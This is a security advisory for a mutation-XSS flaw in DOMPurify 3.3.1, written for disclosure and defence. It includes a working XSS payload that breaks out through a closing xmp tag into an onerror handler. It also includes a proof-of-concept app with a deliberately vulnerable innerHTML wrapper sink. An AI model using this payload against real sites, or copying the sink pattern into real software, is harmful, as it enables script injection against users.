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DOMPurify mXSS via Re-Contextualization

Moderate
cure53 published GHSA-h8r8-wccr-v5f2 Mar 25, 2026

Package

npm dompurify (npm)

Affected versions

3.3.1

Patched versions

3.3.2

Description

My name is Oscar Uribe, Security Researcher at Fluid Attacks. I am writing to inform you that Camilo Vera and Cristian Vargas, from the Fluid Attacks Research Team, have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

This vulnerability has been rated with a severity of 6.9 (Medium), according to the CVSS 4.0.

We have reserved the CVE-2026-3126 ID to refer to this security issue from now on. Following our Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in our policy are met, this advisory will be published on our website over the next few days (the timeline may vary depending on your willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

We would appreciate it if you could acknowledge Camilo Vera and Cristian Vargas in the GitHub Security Advisory.

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

  1. Start the PoC app:
npm install
npm start
  1. Open http://localhost:3001.
  2. Set Wrapper en sink to xmp.
  3. Use payload:
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.
  2. Observe:
  • Sanitized response still contains the </xmp> sequence inside alt.
  • The sink reparses to include <img src="x" onerror="alert('expoc')">.
  • alert('expoc') is triggered.
  1. Files:
  • index.html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #22c55e;
        background: #f0fdf4;
      }

      @media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>
  • server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
  • package.json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

  • PoC
daft-video.webm
  • XSS triggered
daft-img

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

  • Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
  • Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
  • Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

  1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
  2. Keep the rendering context stable from sanitize to sink.
  3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
  4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
  5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Our security policy

We have reserved the CVE-2026-3126 ID to refer to this issue from now on.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits